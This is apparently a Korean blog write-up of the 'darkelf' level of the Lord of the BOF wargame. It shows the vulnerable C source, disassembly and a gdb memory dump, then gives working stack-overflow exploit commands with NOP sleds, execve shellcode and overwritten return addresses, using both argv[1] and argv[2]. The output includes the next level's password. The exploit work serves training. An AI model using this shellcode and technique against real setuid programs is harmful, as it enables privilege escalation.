728x90
반응형
1. intro
2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
2.3. 분석
2.3.1. assembler code (중요 부분)
앞선 조건에 더불어 인자의 길이를 확인한 뒤 0x30보다 크면 "arguement is too long!" 메시지와 함께 종료된다.
0x80485ab <main+171>: add $0x4,%esp
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov 0xc(%ebp),%eax
0x80485b3 <main+179>: add $0x4,%eax
0x80485b6 <main+182>: mov (%eax),%edx
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: call 0x80483f0 <strlen>
0x80485be <main+190>: add $0x4,%esp
0x80485c1 <main+193>: mov %eax,%eax
0x80485c3 <main+195>: cmp $0x30,%eax
0x80485c6 <main+198>: jbe 0x80485e0 <main+224>
0x80485c8 <main+200>: push $0x8048699
0x80485cd <main+205>: call 0x8048410 <printf>
0x80485d2 <main+210>: add $0x4,%esp
0x80485d5 <main+213>: push $0x0
0x80485d7 <main+215>: call 0x8048420 <exit>
3. 취약점 확인 및 공격 준비
3.1 취약점
40 bytes의 buffer가 할당되었고, 48 byte의 값을 받아들이기에 ret address 변조가 가능하다.
3.2 공격 준비
ret address 변조는 가능하지만, 환경변수 및 buffer 영역은 초기화되기에 사용이 불가능하다.
하지만 아래와 같이 파일 명 및 인자 부분의 환경변수는 아직 살아있으며, 충분히 크기가 작은 shellcode를 사용하고 있음과 동시에 argv[1]의 크기만 확인하고 argv[2]의 크기는 확인하지 않기에 이 부분을 사용해보자.
(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'` BBBBBBBBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/wolfman/darkela `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'` BBBBBBBBBB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿
Breakpoint 1, 0x8048616 in main ()
(gdb) x/40x $esp
0xbffffa8c: 0x00000016 0x00000000 0x00000000 0x00000000
0xbffffa9c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffaac: 0x00000000 0x00000000 0x00000000 0x41414141
0xbffffabc: 0xbfbfbfbf 0x00000000 0xbffffb04 0xbffffb14
...
0xbffffbfc: 0x38366900 0x682f0036 0x2f656d6f 0x666c6f77
0xbffffc0c: 0x2f6e616d 0x6b726164 0x00616c65 0x41414141
0xbffffc1c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc2c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc3c: 0x41414141 0x41414141 0xbfbfbfbf 0x42424200
0xbffffc4c: 0x42424242 0x00424242 0x00000000 0x00000000
0xbffffc5c: 0x00000000 0x00000000 0x00000000 0x00000000
...
4. exploit
4.1. argv[1] 사용
충분히 크기가 작은 shellcode를 사용하고 있기에 argv[1]을 통해서도 my-pass를 실행할 수 있을 것이다.
[wolfman@localhost wolfman]$ ./darkela `python -c 'print "\x90"*16 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x24\xfc\xff\xbf"'`
1hpassh/my-h/bin
㱍$
euid = 505
love eyuna
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*16 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x24\xfc\xff\xbf"'`
1hpassh/my-h/bin
㱍$
euid = 506
kernel crashed
4.2. argv[2] 사용
argv[2]의 길이는 확인하지 않기 때문에 이를 사용할 수 있을 것이다.
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*44 + "\x2c\xfc\xff\xbf"'` `python -c 'print "\x90"*100 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
,
euid = 506
kernel crashed
728x90
반응형
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] orge -> trol (0) | 2022.09.13 |
---|---|
[lob] darkelf -> orge (0) | 2022.09.13 |
[lob] orc -> wolfman (0) | 2022.09.12 |
[lob] goblin -> orc (0) | 2022.09.12 |
[lob] cobolt -> goblin (0) | 2022.09.12 |